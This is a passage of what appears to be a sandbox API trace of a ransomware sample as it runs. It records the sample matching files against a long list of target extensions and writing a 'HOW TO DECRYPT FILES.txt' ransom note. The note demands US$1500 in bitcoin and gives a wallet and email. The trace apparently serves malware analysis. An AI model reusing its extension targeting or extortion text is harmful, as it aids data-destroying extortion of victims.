(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.056] lstrlenA (lpString="*.vsd") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.056] lstrlenA (lpString="*.odg") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.056] lstrlenA (lpString="*.raw") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.056] lstrlenA (lpString="*.nef") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.056] lstrlenA (lpString="*.svg") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.056] lstrlenA (lpString="*.psd") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.056] lstrlenA (lpString="*.vmx") returned 5 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.056] lstrlenA (lpString="*.vmdk") returned 6 [0103.056] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.056] lstrlenA (lpString="*.vdi") returned 5 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.057] lstrlenA (lpString="*.lay6") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.057] lstrlenA (lpString="*.mpeg") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.057] lstrlenA (lpString="*.djvu") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.057] lstrlenA (lpString="*.tiff") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.057] lstrlenA (lpString="*.backup") returned 8 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.057] lstrlenA (lpString="*.pdf") returned 5 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.057] lstrlenA (lpString="*.cert") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.057] lstrlenA (lpString="*.docm") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.057] lstrlenA (lpString="*.xlsm") returned 6 [0103.057] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.058] lstrlenA (lpString="*.dwg") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.058] lstrlenA (lpString="*.nd") returned 4 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.058] lstrlenA (lpString="*.tlg") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.058] lstrlenA (lpString="*.lgb") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.058] lstrlenA (lpString="*.mov") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.058] lstrlenA (lpString="*.xdw") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.058] lstrlenA (lpString="*.ods") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.058] lstrlenA (lpString="*.wav") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.058] lstrlenA (lpString="*.mp3") returned 5 [0103.058] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.059] lstrlenA (lpString="*.aiff") returned 6 [0103.059] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.059] lstrlenA (lpString="*.flac") returned 6 [0103.059] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.059] lstrlenA (lpString="*.m4a") returned 5 [0103.059] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.059] lstrlenA (lpString="*.csv") returned 5 [0103.059] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27981030, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27981030, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27981030, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.059] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.059] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266c22f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x266c22f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x266c22f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="787526c375f27d452cde50fea4f7986b", cAlternateFileName="787526~1")) returned 1 [0103.059] lstrcmpA (lpString1=".", lpString2="787526c375f27d452cde50fea4f7986b") returned -1 [0103.059] lstrcmpA (lpString1="..", lpString2="787526c375f27d452cde50fea4f7986b") returned -1 [0103.059] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.059] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="787526c375f27d452cde50fea4f7986b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b" [0103.059] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b") returned 100 [0103.059] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266c22f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x266c22f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x266c22f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.060] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266c22f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x266c22f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x266c22f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.060] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.061] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.061] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2669c190, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x2669c190, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x266c22f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x13da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.061] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0103.061] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0103.061] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0103.061] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\*.*") returned="*.*" [0103.061] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\" [0103.061] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\") returned="" [0103.061] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\HOW TO DECRYPT FILES.txt" [0103.061] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\787526c375f27d452cde50fea4f7986b\\how to decrypt files.txt")) returned 0xffffffff [0103.061] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\787526c375f27d452cde50fea4f7986b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.065] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.065] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.068] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.068] CloseHandle (hObject=0x90) returned 1 [0103.068] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll" [0103.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.068] lstrlenA (lpString="*.ems") returned 5 [0103.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.068] lstrlenA (lpString="*.db") returned 4 [0103.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.069] lstrlenA (lpString="*.dbf") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.069] lstrlenA (lpString="*.myox") returned 6 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.069] lstrlenA (lpString="*.myo") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.069] lstrlenA (lpString="*.qbw") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.069] lstrlenA (lpString="*.qbb") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.069] lstrlenA (lpString="*.qbm") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.069] lstrlenA (lpString="*.qbo") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.069] lstrlenA (lpString="*.qbx") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.069] lstrlenA (lpString="*.qba") returned 5 [0103.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.070] lstrlenA (lpString="*.qby") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.070] lstrlenA (lpString="*.qbj") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.070] lstrlenA (lpString="*.ofx") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.070] lstrlenA (lpString="*.qif") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.070] lstrlenA (lpString="*.mye") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.070] lstrlenA (lpString="*.mbox") returned 6 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.070] lstrlenA (lpString="*.eml") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.070] lstrlenA (lpString="*.pst") returned 5 [0103.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.070] lstrlenA (lpString="*.ost") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.071] lstrlenA (lpString="*.idx") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.071] lstrlenA (lpString="*.dbx") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.071] lstrlenA (lpString="*.sql") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.071] lstrlenA (lpString="*.mdb") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.071] lstrlenA (lpString="*.fdb") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.071] lstrlenA (lpString="*.wab") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.071] lstrlenA (lpString="*.dat") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.071] lstrlenA (lpString="*.txt") returned 5 [0103.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", 